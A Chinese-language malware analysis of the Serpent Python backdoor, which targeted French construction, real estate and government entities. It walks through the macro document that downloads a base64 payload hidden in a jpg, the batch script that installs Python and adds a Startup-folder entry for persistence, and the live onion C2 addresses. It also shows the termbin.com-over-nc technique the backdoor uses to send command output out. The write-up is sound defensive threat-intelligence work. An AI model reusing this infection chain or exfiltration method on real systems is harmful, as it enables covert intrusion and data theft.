Serpent

Serpent 样本分析

样本信息

Serpent是一个用Python编写的后门,用于攻击法国建筑、房地产和政府行业的实体。

IOC

类别 特征值
SHA256 8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19
SHA1 2d6f1ed1236727b36a92dd44cd987c36d6fb7e35
MD5 321e04294c04db10d5dbf05051e540e2

样本分析

样本信息

本次分析的是一个docm文档,其中包含了恶意宏病毒:

恶意宏分析

通过查看,执行宏后会首先对以下两个网站进行访问:

https://www.fhccu.com/images/ship3.jpg
http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html

https://www.fhccu.com/images/ship3.jpg文件流保存到本地c:\users\public\pic.jpg

c:\users\public\pic.jpg内容部分提取到c:\users\public\picb64.txt

通过base64解码c:\users\public\picb64.txt,将内容写入到新文件%USERPROFILE%\desktop\Microsoft_Office_Word_Update-20220201-fr.bat中,并执行:

执行代码获取流程分析

在图片pic.jpg的末尾处,可以提取出picb64.txt的内容:

将提取的字符串通过base64解码,获取了.bat的内容:

powershell 命令分析

bat脚本中的执行命令可以看出,其中包含了两段关键指令:恶意脚本下载、完成后连接请求

恶意脚本下载部分由三个步骤实现:安装执行环境、本地化恶意脚本、持久化恶意脚本

安装执行环境时,首先下载chocolatey,再由chocolatey安装python3,最后pip安装必要运行库requestspysocks

本地化恶意脚本,则是从https://www.fhccu.com/images/7.jpg下载恶意脚本,进行base64解码,保存到%userprofile%\searches\MicrosoftSecurityUpdate.py中:

持久化恶意脚本,则是将启动命令保存到%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftSecurityUpdate.bat中,达到开机自启动的效果:

当一切执行完毕后,将请求一次http://shorturl.at/qzES8

恶意脚本分析

首先将https://www.fhccu.com/images/7.jpg下载到本地,可以看到其中包含了一段base64编码的数据:

将内容提取出来,并进行解码:

好家伙,套娃开始了,再解一次获得了Serpent的脚本代码:

从主循环开始看起,执行后首先休眠,然后尝试调用get_cmd函数,将返回值作为输入参数再调用run_cmd函数:

整体设计逻辑很简单,一个作为命令输入,一个作为命令执行,在函数顶端,分别指定了两个tor链接,一个是用于命令输入的,另一个适用于执行结果获取的

cmd_url_order = 'http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html' 
cmd_url_answer = 'http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html'

作者在设计命令执行及结果获取时,采用了一种巧妙的办法,利用subprocess.Popen执行命令,stdout获取执行结果,再将执行结果发送到termbin.com,把返回链接添加到headers标签,发送到http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html

为什么很巧妙,这里就要介绍一下termbin了,这是一个将文本转换为url的网站,你可以通过在终端上敲击echo just testing! | nc termbin.com 9999命令,将just testing!保存到termbin.com站点上,而命令敲击后,将会返回一条链接,访问该链接即可获取文本字符串信息,作者正是使用了这种方式,不通过交互式对话直接来获取命令执行结果,逃避流量监测:

[user@localhost: ~]$ echo just testing! | nc termbin.com 9999
http://termbin.com/ktkf
[user@localhost: ~]$ curl http://termbin.com/ktkf
just testing!

参考资料

https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html https://app.any.run/tasks/2788c24d-24f8-4b7c-8b50-69ca6ea41407/